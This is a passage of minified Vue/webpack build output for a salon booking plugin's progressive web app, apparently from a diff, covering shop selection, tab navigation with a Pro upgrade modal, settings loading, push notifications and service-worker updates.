fa-chevron-right\",class:(0,a.C4)([\"dropdown-icon\",{\"dropdown-icon--open\":i.isDropdownOpen}])},null,8,[\"class\"])]),i.isDropdownOpen?((0,n.uX)(),(0,n.CE)(\"div\",m,[i.isLoading?((0,n.uX)(),(0,n.CE)(\"div\",f,[(0,n.bF)(d,{variant:\"primary\"})])):0===i.shopsList.length?((0,n.uX)(),(0,n.CE)(\"div\",v,(0,a.v_)(this.getLabel(\"shopsNoResultLabel\")),1)):((0,n.uX)(),(0,n.CE)(\"div\",y,[((0,n.uX)(!0),(0,n.CE)(n.FK,null,(0,n.pI)(i.shopsList,e=>((0,n.uX)(),(0,n.CE)(\"div\",{key:e.id,class:\"shop-item\",onClick:o=>r.selectShop(e)},[(0,n.Lk)(\"div\",w,[(0,n.Lk)(\"div\",_,(0,a.v_)(e.name),1),(0,n.Lk)(\"div\",S,(0,a.v_)(e.address),1)])],8,k))),128))]))])):(0,n.Q3)(\"\",!0)])),[[T,r.closeDropdown]])])])}var L={name:\"ShopTitle\",props:{shop:{default:function(){return{}}}},data(){return{isDropdownOpen:!1,shopsList:[],isLoading:!1}},computed:{name(){return this.shop&&this.shop.id?this.shop.name:\"\"},selectedShopName(){return this.shop&&this.shop.id?this.shop.name:\"\"}},methods:{toggleDropdown(){this.isDropdownOpen=!this.isDropdownOpen,this.isDropdownOpen&&this.loadShops()},closeDropdown(){this.isDropdownOpen=!1},loadShops(){this.isLoading=!0,this.shopsList=[],this.axios.get(\"shops\").then(e=>{this.shopsList=e.data.items}).finally(()=>{this.isLoading=!1})},selectShop(e){this.$emit(\"applyShop\",e),this.closeDropdown()}},emits:[\"applyShop\"],directives:{\"click-outside\":{mounted(e,o){e.clickOutsideEvent=function(s){e===s.target||e.contains(s.target)||o.value(s)},document.addEventListener(\"click\",e.clickOutsideEvent)},unmounted(e){document.removeEventListener(\"click\",e.clickOutsideEvent)}}}},A=s(5932);const P=(0,A.A)(L,[[\"render\",T],[\"__scopeId\",\"data-v-169ad628\"]]);var C=P,E=s(4119);const I={name:\"PwaTabLoading\",render(){return(0,n.h)(\"div\",{class:\"pwa-tab-async-loading\",role:\"status\",\"aria-busy\":\"true\"})}},D={loadingComponent:I,delay:0,timeout:12e4};var U={name:\"TabsList\",props:{isShopsEnabled:{default:function(){return!1}}},components:{UpcomingReservationsTab:(0,n.$V)({loader:()=>Promise.all([s.e(1),s.e(114)]).then(s.bind(s,1114)),...D}),ReservationsCalendarTab:(0,n.$V)({loader:()=>Promise.all([s.e(1),s.e(473)]).then(s.bind(s,2473)),...D}),CustomersAddressBookTab:(0,n.$V)({loader:()=>Promise.all([s.e(1),s.e(905)]).then(s.bind(s,905)),...D}),UserProfileTab:(0,n.$V)({loader:()=>s.e(63).then(s.bind(s,4063)),...D}),ShopsTab:(0,n.$V)({loader:()=>s.e(728).then(s.bind(s,8728)),...D}),ShopTitle:C,ProUpgradeModal:E.A},created(){let e=this.resolveInitialHashFromUrl();!this.isProUser&&this.isProOnlyHash(e)&&(this.proUpgradeModalVisible=!0,e=\"#upcoming-reservations\",this.syncLocationToHash(e)),this.hash=e,this.tabModelIndex=this.hashToTabIndex(this.hash)},mounted(){if(window.addEventListener(\"hashchange\",this.onHashChange),this.isShopsEnabled){const o=localStorage.getItem(\"sln_selected_shop\");if(o)try{this.shop=JSON.parse(o),\"#shops\"!==this.hash&&this.hash||(this.hash=\"#upcoming-reservations\",window.location.hash=\"#upcoming-reservations\")}catch(e){console.error(\"Error parsing saved shop:\",e)}}},beforeUnmount(){window.removeEventListener(\"hashchange\",this.onHashChange)},data:function(){return{hash:\"#upcoming-reservations\",tabModelIndex:0,isSyncingTabs:!1,proUpgradeModalVisible:!1,tabsMountKey:0,skipResyncAfterModalClose:!1,shop:null,isHideTabsHeader:!1,isShopSelected:!1}},computed:{isProUser(){return!0===window.slnPWA?.is_pro}},watch:{shop(e){this.isShopSelected=!!e&&!!e.id},hash(e){const o=this.hashToTabIndex(e);this.tabModelIndex!==o&&(this.isSyncingTabs=!0,this.tabModelIndex=o,this.$nextTick(()=>{this.isSyncingTabs=!1}))},tabModelIndex(e){if(this.isSyncingTabs)return;if(!this.isProUser&&this.isRestrictedTabIndex(e))return this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();const o=this.tabIndexToHash(e);o!==this.hash&&this.click(o)},proUpgradeModalVisible(e){if(!e&&!this.isProUser){if(this.skipResyncAfterModalClose)return void(this.skipResyncAfterModalClose=!1);this.resyncTabModelToHash()}}},methods:{onActivateTab(e,o,s){this.isProUser||this.isRestrictedTabIndex(e)&&(s&&\"function\"===typeof s.preventDefault&&s.preventDefault(),this.proUpgradeModalVisible=!0)},resyncTabModelToHash(){this.isSyncingTabs=!0,this.tabModelIndex=this.hashToTabIndex(this.hash),this.$nextTick(()=>{this.isSyncingTabs=!1})},goToUpcomingReservations(){this.skipResyncAfterModalClose=!0;const e=\"#upcoming-reservations\",o=this.hashToTabIndex(e);this.hash=e,this.syncLocationToHash(e),this.tabModelIndex=o,this.tabsMountKey+=1,this.$nextTick(()=>{this.tabModelIndex=o,this.$nextTick(()=>{window.setTimeout(()=>{this.click(e)},50)})})},scrollUpcomingIntoViewIfNeeded(){try{const e=document.querySelector(\".current-time-line\");if(!e||null===document.querySelector(\".dp__active_date.dp__today\"))return void(e&&(e.style.display=\"none\"));e.style.display=\"block\",e.scrollIntoView({behavior:\"smooth\",block:\"center\"})}catch(e){}},hashToTabIndex(e){const o=this.isShopsEnabled,s=o?{\"#shops\":0,\"#upcoming-reservations\":1,\"#reservations-calendar\":2,\"#customers\":3,\"#user-profile\":4}:{\"#upcoming-reservations\":0,\"#reservations-calendar\":1,\"#customers\":2,\"#user-profile\":3};return Object.prototype.hasOwnProperty.call(s,e)?s[e]:o?1:0},tabIndexToHash(e){const o=this.isShopsEnabled,s=o?[\"#shops\",\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"]:[\"#upcoming-reservations\",\"#reservations-calendar\",\"#customers\",\"#user-profile\"];return null!=s[e]?s[e]:\"#upcoming-reservations\"},isRestrictedTabIndex(e){const o=this.isShopsEnabled,s=o?2:1,t=o?3:2;return e===s||e===t},resolveInitialHashFromUrl(){const e=this.getQueryParams();if(\"undefined\"!==typeof e.tab&&e.tab){const o=decodeURIComponent(String(e.tab)).replace(\u002F^#\u002F,\"\");return o.startsWith(\"#\")?o:\"#\"+o}return window.location.hash?window.location.hash:this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\"},isProOnlyHash(e){if(!e)return!1;const o=e.startsWith(\"#\")?e:\"#\"+e;return\"#reservations-calendar\"===o||\"#customers\"===o},syncLocationToHash(e){try{const o=new URL(window.location.href);o.searchParams.delete(\"tab\");const s=(e.startsWith(\"#\")?e:\"#\"+e).slice(1);o.hash=s,window.history.replaceState(null,\"\",o.toString())}catch(o){window.location.hash=e.startsWith(\"#\")?e:\"#\"+e}},onHashChange(){const e=window.location.hash||(this.isShopsEnabled?\"#shops\":\"#upcoming-reservations\");if(!this.isProUser&&this.isProOnlyHash(e))return this.proUpgradeModalVisible=!0,this.hash=\"#upcoming-reservations\",void this.syncLocationToHash(\"#upcoming-reservations\");this.hash=e},navigateToTab(e,o){if(!this.isProUser&&this.isProOnlyHash(e))return o&&(o.preventDefault(),o.stopPropagation()),this.proUpgradeModalVisible=!0,void this.resyncTabModelToHash();this.click(e)},click(e){window.location.href=e;const o=document.querySelector(\".current-time-line\");o&&(null!==document.querySelector(\".dp__active_date.dp__today\")?(o.style.display=\"block\",o.scrollIntoView({behavior:\"smooth\",block:\"center\"})):o.style.display=\"none\")},applyShop(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$emit(\"applyShop\",e)},applyShopAndSwitch(e){this.shop=e,e&&e.id?localStorage.setItem(\"sln_selected_shop\",JSON.stringify(e)):localStorage.removeItem(\"sln_selected_shop\"),this.$refs[\"upcoming-reservations-tab-link\"].click(),this.$emit(\"applyShop\",e)},hideTabsHeader(e){this.isHideTabsHeader=e}},emits:[\"applyShop\"]};const H=(0,A.A)(U,[[\"render\",d],[\"__scopeId\",\"data-v-38f771fa\"]]);var M=H,O={name:\"App\",mounted(){this.loadBookingDragResizePref(),this.loadSettings(),this.displayBuildVersion()},computed:{isShopsEnabled(){return window.slnPWA.is_shops}},data:function(){return{settings:{},statusesList:{\"sln-b-pendingpayment\":{label:this.getLabel(\"pendingPaymentStatusLabel\"),color:\"#ffc107\"},\"sln-b-pending\":{label:this.getLabel(\"pendingStatusLabel\"),color:\"#ffc107\"},\"sln-b-paid\":{label:this.getLabel(\"paidStatusLabel\"),color:\"#28a745\"},\"sln-b-paylater\":{label:this.getLabel(\"payLaterStatusLabel\"),color:\"#17a2b8\"},\"sln-b-error\":{label:this.getLabel(\"errorStatusLabel\"),color:\"#dc3545\"},\"sln-b-confirmed\":{label:this.getLabel(\"confirmedStatusLabel\"),color:\"#28a745\"},\"sln-b-canceled\":{label:this.getLabel(\"canceledStatusLabel\"),color:\"#dc3545\"}},shop:null,disableBookingDragResize:!1}},watch:{shop(){this.loadSettings()}},methods:{loadBookingDragResizePref(){try{if(!window.slnPWA?.can_access_booking_resize_pref)return void(this.disableBookingDragResize=!1);this.disableBookingDragResize=\"1\"===localStorage.getItem(\"sln_pwa_disable_booking_drag_resize\")}catch(e){this.disableBookingDragResize=!1}},setDisableBookingDragResize(e){if(window.slnPWA?.can_access_booking_resize_pref){this.disableBookingDragResize=!!e;try{this.disableBookingDragResize?localStorage.setItem(\"sln_pwa_disable_booking_drag_resize\",\"1\"):localStorage.removeItem(\"sln_pwa_disable_booking_drag_resize\")}catch(o){}}},loadSettings(){this.axios.get(\"app\u002Fsettings\",{params:{shop:this.shop?this.shop.id:null}}).then(e=>{this.settings=e.data.settings,this.$root.settings={...this.$root.settings,...this.settings}})},applyShop(e){this.shop=e},async displayBuildVersion(){try{const e=await fetch(`\u002F{SLN_PWA_DIST_PATH}\u002Fversion.json?t=${Date.now()}`),o=await e.json();console.log(\"\\n═══════════════════════════════════════\"),console.log(\"🎯 PWA BUILD VERSION\"),console.log(\"═══════════════════════════════════════\"),console.log(`📅 Build Time: ${o.buildTime}`),console.log(`🔑 Build Hash: ${o.buildHash}`),console.log(`⏱️  Timestamp:  ${o.timestamp}`),console.log(\"═══════════════════════════════════════\\n\"),window.PWA_BUILD_VERSION=o}catch(e){console.warn(\"⚠️  Could not load build version:\",e)}}},components:{TabsList:M},beforeCreate(){this.$OneSignal&&(this.$OneSignal.showSlidedownPrompt(),this.$OneSignal.on(\"subscriptionChange\",e=>{e&&this.$OneSignal.getUserId(e=>{e&&this.axios.put(\"users\",{onesignal_player_id:e})})}))}};const $=(0,A.A)(O,[[\"render\",i]]);var x=$,W=s(9501);setInterval(()=>{navigator.serviceWorker.getRegistration().then(e=>{e&&e.update()})},6e4),(0,W.k)(\"\u002F{SLN_PWA_DIST_PATH}\u002Fservice-worker.js\",{ready(){console.log(\"✅ PWA ready - served from cache by service worker\")},registered(e){console.log(\"✅ Service worker registered\"),setInterval(()=>{e.update()},6e4)},cached(){console.log(\"✅ Content cached for offline use\")},updatefound(){console.log(\"🔄 New PWA version downloading...\")},updated(e){console.log(\"🎉 New PWA version available!\"),console.log(\"🔄 Auto-reloading to get fresh code...\"),e&&e.waiting&&e.waiting.postMessage({type:\"SKIP_WAITING\"}),setTimeout(()=>{console.log(\"♻️ Reloading page now...\"),window.location.reload()},1e3)},offline(){console.log(\"📵 Offline mode - no internet connection\")},error(e){console.error(\"❌ Service worker error:\",e)}}),navigator.serviceWorker.addEventListener(\"controllerchange\",()=>{console.log(\"🔄 Service worker updated - reloading...\"),window.location.reload()});var N=s(5222),V=(0,N.y$)({state:{},getters:{},mutations:{},actions:{},modules:{}}),R=s(9592),F=s(1893),B=s(3975),X=s(4394),j=s(7947),z=s(8565),K=s(376),Q=s(8215),q=s(1975),J=s(5329),G=s(7797),Y=s(1341);F.Yv.add(X.ITF,X.l6G,j.vlp,X.$UM,j.a$,X.XkK,X.Wzs,X.yLS,X.bnw,X.LFz,X.e68,X.gdJ,X.e9J,X.QLR,X.dzk,X.ivC,X.s67,X.B9e,X.KKb,X.DW4,X.KKr,X.TOj,X.q_k,z.EYA,X.H37,X.yvG,X.rwq,X.rk5,j.QRE,X.z$e,X.Bwz,X.lLb,X.PIP,X.CeG,X.Jyw,X.$GG,X._Xl,X.KMJ);var Z=(0,t.Ef)(x).use(V).use(R.Ay).use(Y.A).component(\"font-awesome-icon\",B.gc).component(\"Datepicker\",K.A).component(\"vue-select\",J.A).component(\"Carousel\",G.FN).component(\"Slide\",G.q7).component(\"Pagination\",G.dK).component(\"Navigation\",G.Vx).mixin(Q.A),ee=window.slnPWA.onesignal_app_id;ee&&Z.use(q.A,{appId:ee,serviceWorkerParam:{scope:\"\u002F{SLN_PWA_DIST_PATH}\u002F\"},serviceWorkerPath:\"{SLN_PWA_DIST_PATH}\u002FOneSignalSDKWorker.js\"}),Z.mount(\"#app\")},8215:function(e,o,s){s(8992),s(3949),s(1454);var t=s(8207),n=s(8699),i=s.n(n),a=s(5919),r=s.n(a),l=s(8562),d=s.n(l),c=s(9288),p=s.n(c);s(3412),s(2092),s(1575),s(3931),s(410),s(8801),s(7319),s(4271),s(2924);i().extend(r()),i().extend(d()),i().extend(p()),o.A={computed:{axios(){return t.A.create({baseURL:window.slnPWA.api,headers:{\"Access-Token\":window.slnPWA.token}})},moment(){return i()},locale(){return window.slnPWA.locale},shouldHideEmail(){return this.$root.settings&&this.$root.settings.hide_customers_email},shouldHidePhone(){return this.$root.settings&&this.$root.settings.hide_customers_phone},canUseAssistantFilter(){return!!window.slnPWA?.can_use_assistant_filter},canAccessBookingResizePref(){return!!window.slnPWA?.can_access_booking_resize_pref},canUsePwaNoShowControl(){return!0===window.slnPWA?.is_pro}},methods:{dayjsLocale(e){if(!e)return\"en\";const o=String(e).split(\"_\")[0].split(\"-\")[0].toLowerCase();return o||\"en\"},dateFormat(e,o){var s=this.$root.settings.date_format?this.$root.settings.date_format.js_format:null;if(!s)return e;var t=s.replace(\"dd\",\"DD\").replace(\"M\",\"MMM\").replace(\"mm\",\"MM\").replace(\"yyyy\",\"YYYY\");return i()(e).format(o||t)},timeFormat(e){return i()(e,\"HH:mm\").format(this.getTimeFormat())},getTimeFormat(){var e=this.$root.settings.time_format?this.$root.settings.time_format.js_format:null;if(e){var o=e.indexOf(\"p\")>-1?e.replace(\"H\",\"hh\").replace(\"p\",\"a\").replace(\"ii\",\"mm\"):e.replace(\"hh\",\"HH\").replace(\"ii\",\"mm\");return o}},getQueryParams(){let e=window.location.search;e=e.replace(\"?\",\"\");let o=e.split(\"&\").map(e=>({key:e.split(\"=\")[0],value:e.split(\"=\")[1]})),s={};return o.forEach(e=>{s[e.key]=e.value}),s},getLabel(e){return window.slnPWA.labels[e]},getDisplayEmail(e){return this.shouldHideEmail?\"***@***\":e},getDisplayPhone(e){return this.shouldHidePhone?\"*******\":e}}}}},o={};function s(t){var n=o[t];if(void 0!==n)return n.exports;var i=o[t]={exports:{}};return e[t].call(i.exports,i,i.exports,s),i.exports}s.m=e,function(){var e=[];s.O=function(o,t,n,i){if(!t){var a=1\u002F0;for(c=0;c\u003Ce.length;c++){t=e[c][0],n=e[c][1],i=e[c][2];for(var r=!0,l=0;l\u003Ct.length;l++)(!1&i||a>=i)&&Object.keys(s.O).every(function(e){return s.O[e](t[l])})?t.splice(l--,1):(r=!1,i\u003Ca&&(a=i));if(r){e.splice(c--,1);var d=n();void 0!==d&&(o=d)}}return o}i=i||0;for(var c=e.length;c>0&&e[c-1][2]>i;c--)e[c]=e[c-1];e[c]=[t,n,i]}}(),function(){s.n=function(e){var o=e&&e.__esModule?function(){return e[\"default\"]}:function(){return e};return s.d(o,{a:o}),o}}(),function(){s.d=function(e,o){for(var t in o)s.o(o,t)&&!s.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:o[t]})}}(),function(){s.f={},s.e=function(e){return Promise.all(Object.keys(s.f).reduce(function(o,t){return s.f[t](e,o),o},[]))}}(),function(){s.u=function(e){return\"js\u002F\"+e+\".js\"}}(),function(){s.miniCssF=function(e){return\"css\u002F\"+e+\".css\"}}(),function(){s.g=function(){if(\"object\"===typeof globalThis)return globalThis;try{return this||new Function(\"return this\")()}catch(e){if(\"object\"===typeof window)return window}}()}(),function(){s.o=function(e,o){return Object.prototype.hasOwnProperty.call(e,o)}}(),function(){var e={},o=\"salon-booking-plugin-pwa:\";s.l=function(t,n,i,a){if(e[t])e[t].push(n);else{var r,l;if(void 0!==i)for(var d=document.getElementsByTagName(\"script\"),c=0;c\u003Cd.length;c++){var p=d[c];if(p.getAttribute(\"src\")==t||p.getAttribute(\"data-webpack\")==o+i){r=p;break}}r||(l=!0,r=document.createElement(\"script\"),r.charset=\"utf-8\",s.nc&&r.setAttribute(\"nonce\",s.nc),r.setAttribute(\"data-webpack\",o+i),r.src=t),e[t]=[n];var h=function(o,s){r.onerror=r.onload=null,clearTimeout(u);var n=e[t];if(delete e[t],r.parentNode&&r.parentNode.removeChild(r),n&&n.forEach(function(e){return e(s)}),o)return o(s)},u=setTimeout(h.bind(null,void 0,{type:\"timeout\",target:r}),12e4);r.onerror=h.bind(null,r.onerror),r.onload=h.bind(null,r.onload),l&&document.head.appendChild(r)}}}(),function(){s.r=function(e){\"undefined\"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:\"Module\"}),Object.defineProperty(e,\"__esModule\",{value:!0})}}(),function(){s.p=\"\u002F{SLN_PWA_DIST_PATH}\u002F\"}(),function(){if(\"undefined\"!==typeof document){var e=function(e,o,t,n,i){var a=document.createElement(\"link\");a.rel=\"stylesheet\",a.type=\"text\u002Fcss\",s.nc&&(a.nonce=s.nc);var r=function(s){if(a.onerror=a.onload=null,\"load\"===s.type)n();else{var t=s&&s.type,r=s&&s.target&&s.target.href||o,l=new Error(\"Loading CSS chunk \"+e+\" failed.\\n(\"+t+\": \"+r+\")\");l.name=\"ChunkLoadError\",l.code=\"CSS_CHUNK_LOAD_FAILED\",l.type=t,l.request=r,a.parentNode&&a.parentNode.removeChild(a),i(l)}};return a.onerror=a.onload=r,a.href=o,t?t.parentNode.insertBefore(a,t.nextSibling):document.head.appendChild(a),a},o=function(e,o){for(var s=document.getElementsByTagName(\"link\"),t=0;t\u003Cs.length;t++){var n=s[t],i=n.getAttribute(\"data-href\")||n.getAttribute(\"href\");if(\"stylesheet\"===n.rel&&(i===e||i===o))return n}var a=document.getElementsByTagName(\"style\");for(t=0;t\u003Ca.length;t++){n=a[t],i=n.getAttribute(\"data-href\");if(i===e||i===o)return n}},t=function(t){return new Promise(function(n,i){var a=s.miniCssF(t),r=s.p+a;if(o(a,r))return n();e(t,r,null,n,i)})},n={524:0};s.f.miniCss=function(e,o){var s={1:1,63:1,114:1,473:1,728:1};n[e]?o.push(n[e]):0!==n[e]&&s[e]&&o.push(n[e]=t(e).then(function(){n[e]=0},function(o){throw delete n[e],o}))}}}(),function(){var e={524:0};s.f.j=function(o,t){var n=s.o(e,o)?e[o]:void 0;if(0!==n)if(n)t.push(n[2]);else{var i=new Promise(function(s,t){n=e[o]=[s,t]});t.push(n[2]=i);var a=s.p+s.u(o),r=new Error,l=function(t){if(s.o(e,o)&&(n=e[o],0!==n&&(e[o]=void 0),n)){var i=t&&(\"load\"===t.type?\"missing\":t.type),a=t&&t.target&&t.target.src;r.message=\"Loading chunk \"+o+\" failed.\\n(\"+i+\": \"+a+\")\",r.name=\"ChunkLoadError\",r.type=i,r.request=a,n[1](r)}};s.l(a,l,\"chunk-\"+o,o)}},s.O.j=function(o){return 0===e[o]};var o=function(o,t){var n,i,a=t[0],r=t[1],l=t[2],d=0;if(a.some(function(o){return 0!==e[o]})){for(n in r)s.o(r,n)&&(s.m[n]=r[n]);if(l)var c=l(s)}for(o&&o(t);d\u003Ca.length;d++)i=a[d],s.o(e,i)&&e[i]&&e[i][0](),e[i]=0;return s.O(c)},t=self[\"webpackChunksalon_booking_plugin_pwa\"]=self[\"webpackChunksalon_booking_plugin_pwa\"]||[];t.forEach(o.bind(null,0)),t.push=o.bind(null,t.push.bind(t))}();var t=s.O(void 0,[453,504],function(){return s(6820)});t=s.O(t)})();\n\\ No newline at end of file\n+(function(){\"use strict\";var e={4119:function(e,o,s){s.d(o,{A:function(){return m}});var t=s(6436),n=s(1469),i=s(7959);const a=[\"aria-labelledby\"],r=[\"aria-label\"],l=[\"aria-label\"],d=[\"id\"],c={class:\"sln-pro-upgrade-modal__text\"},p=[\"href\"];function h(e,o,s,h,u,g){const b=(0,t.g2)(\"font-awesome-icon\");return(0,t.uX)(),(0,t.Wv)(t.Im,{to:\"body\"},[s.modelValue?((0,t.uX)(),(0,t.CE)(\"div\",{key:0,class:\"sln-pro-upgrade-modal\",role:\"dialog\",\"aria-modal\":\"true\",\"aria-labelledby\":u.titleId},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__backdrop\",\"aria-label\":g.dismissLabel,onMousedown:o[0]||(o[0]=(0,n.D$)(()=>{},[\"prevent\"])),onClick:o[1]||(o[1]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\"]))},null,40,r),(0,t.Lk)(\"div\",{class:\"sln-pro-upgrade-modal__card\",onClick:o[5]||(o[5]=(0,n.D$)(()=>{},[\"stop\"]))},[(0,t.Lk)(\"button\",{type:\"button\",class:\"sln-pro-upgrade-modal__x\",\"aria-label\":g.dismissLabel,onClick:o[2]||(o[2]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},[(0,t.bF)(b,{icon:\"fa-solid fa-xmark\"})],8,l),(0,t.Lk)(\"h2\",{id:u.titleId,class:\"sln-pro-upgrade-modal__title\"},(0,i.v_)(g.title),9,d),(0,t.Lk)(\"p\",c,(0,i.v_)(g.message),1),(0,t.Lk)(\"a\",{href:g.pricingUrl,class:\"btn btn-primary sln-pro-upgrade-modal__cta\",target:\"_blank\",rel:\"noopener noreferrer\",onClick:o[3]||(o[3]=(0,n.D$)((...e)=>g.closeDeferred&&g.closeDeferred(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.ctaLabel),9,p),(0,t.Lk)(\"button\",{type:\"button\",class:\"btn btn-link sln-pro-upgrade-modal__dismiss\",onClick:o[4]||(o[4]=(0,n.D$)((...e)=>g.closeDeferredNavigateUpcoming&&g.closeDeferredNavigateUpcoming(...e),[\"prevent\",\"stop\"]))},(0,i.v_)(g.dismissLabel),1)])],8,a)):(0,t.Q3)(\"\",!0)])}var u={name:\"ProUpgradeModal\",props:{modelValue:{type:Boolean,default:!1},messageOverride:{type:String,default:\"\"},navigateToUpcomingOnDismiss:{type:Boolean,default:!0}},emits:[\"update:modelValue\",\"dismiss-to-upcoming\"],data(){return{titleId:\"sln-pro-upgrade-modal-title\"}},computed:{title(){return this.getLabel(\"proUpgradeModalTitle\")},message(){return this.messageOverride||this.getLabel(\"proUpgradeModalMessage\")},ctaLabel(){return this.getLabel(\"proUpgradeModalCtaLabel\")},dismissLabel(){return this.getLabel(\"proUpgradeModalCloseLabel\")},pricingUrl(){return window.slnPWA?.pro_pricing_url||\"https:\u002F\u002Fwww.salonbookingsystem.com\u002Fplugin-pricing\u002F\"}},methods:{closeDeferred(){setTimeout(()=>{this.$emit(\"update:modelValue\",!1)},0)},closeDeferredNavigateUpcoming(){setTimeout(()=>{this.navigateToUpcomingOnDismiss&&this.$emit(\"dismiss-to-upcoming\"),this.$emit(\"update:modelValue\",!1)},0)}}},g=s(5932);const b=(0,g.A)(u,[[\"render\",h],[\"__scopeId\",\"data-v-1eb28792\"]]);var m=b},6820:function(e,o,s){var t=s(1469),n=s(6436);function i(e,o,s,t,i,a){const r=(0,n.g2)(\"TabsList\");return(0,n.uX)(),(0,n.CE)(\"div\",null,[(0,n.bF)(r,{onApplyShop:a.applyShop,isShopsEnabled:a.isShopsEnabled},null,8,[\"onApplyShop\",\"isShopsEnabled\"])])}var a=s(7959);const r={key:2,class:\"pwa-pro-only-tab-placeholder\"},l={key:2,class:\"pwa-pro-only-tab-placeholder\"};function d(e,o,s,t,i,d){const c=(0,n.g2)(\"ProUpgradeModal\"),p=(0,n.g2)(\"font-awesome-icon\"),h=(0,n.g2)(\"ShopsTab\"),u=(0,n.g2)(\"b-tab\"),g=(0,n.g2)(\"ShopTitle\"),b=(0,n.g2)(\"UpcomingReservationsTab\"),m=(0,n.g2)(\"ReservationsCalendarTab\"),f=(0,n.g2)(\"CustomersAddressBookTab\"),v=(0,n.g2)(\"UserProfileTab\"),y=(0,n.g2)(\"b-tabs\");return(0,n.uX)(),(0,n.CE)(\"div\",{class:(0,a.C4)({\"hide-tabs-header\":e.isHideTabsHeader})},[(0,n.bF)(c,{modelValue:e.proUpgradeModalVisible,\"onUpdate:modelValue\":o[0]||(o[0]=o=>e.proUpgradeModalVisible=o),onDismissToUpcoming:d.goToUpcomingReservations},null,8,[\"modelValue\",\"onDismissToUpcoming\"]),((0,n.uX)(),(0,n.Wv)(y,{key:\"sln-pwa-tabs-\"+e.tabsMountKey,modelValue:e.tabModelIndex,\"onUpdate:modelValue\":o[6]||(o[6]=o=>e.tabModelIndex=o),pills:\"\",card:\"\",end:\"\",onActivateTab:d.onActivateTab},{default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(u,{key:0,\"title-item-class\":{hide:!s.isShopsEnabled}},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[1]||(o[1]=e=>d.click(\"#shops\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-store\",class:\"tab-icon\"}),o[7]||(o[7]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Shops\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(h,{isShopsEnabled:s.isShopsEnabled,onApplyShop:d.applyShopAndSwitch},null,8,[\"isShopsEnabled\",\"onApplyShop\"])]),_:1},8,[\"title-item-class\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",ref:\"upcoming-reservations-tab-link\",onClick:o[2]||(o[2]=e=>{d.click(\"#upcoming-reservations\"),d.scrollUpcomingIntoViewIfNeeded()})},[(0,n.bF)(p,{icon:\"fa-solid fa-list\",class:\"tab-icon\"}),o[8]||(o[8]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Upcoming\",-1))],512)]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),(0,n.bF)(b,{shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[3]||(o[3]=e=>d.navigateToTab(\"#reservations-calendar\",e))},[(0,n.bF)(p,{icon:\"fa-solid fa-calendar-days\",class:\"tab-icon\"}),o[9]||(o[9]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Calendar\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(m,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",r))]),_:1}),(0,n.bF)(u,null,{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[4]||(o[4]=e=>d.navigateToTab(\"#customers\",e))},[(0,n.bF)(p,{icon:\"fa-regular fa-address-book\",class:\"tab-icon\"}),o[10]||(o[10]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Customers\",-1))])]),default:(0,n.k6)(()=>[s.isShopsEnabled?((0,n.uX)(),(0,n.Wv)(g,{key:0,shop:e.shop,onApplyShop:d.applyShop},null,8,[\"shop\",\"onApplyShop\"])):(0,n.Q3)(\"\",!0),d.isProUser?((0,n.uX)(),(0,n.Wv)(f,{key:1,shop:e.shop,onHideTabsHeader:d.hideTabsHeader},null,8,[\"shop\",\"onHideTabsHeader\"])):((0,n.uX)(),(0,n.CE)(\"div\",l))]),_:1}),(0,n.bF)(u,{\"title-item-class\":\"nav-item-profile\"},{title:(0,n.k6)(()=>[(0,n.Lk)(\"span\",{class:\"tab-item\",onClick:o[5]||(o[5]=e=>d.click(\"#user-profile\"))},[(0,n.bF)(p,{icon:\"fa-solid fa-user-alt\",class:\"tab-icon\"}),o[11]||(o[11]=(0,n.Lk)(\"span\",{class:\"tab-label\"},\"Profile\",-1))])]),default:(0,n.k6)(()=>[(0,n.bF)(v)]),_:1})]),_:1},8,[\"modelValue\",\"onActivateTab\"]))],2)}s(4603),s(7566),s(8721);const 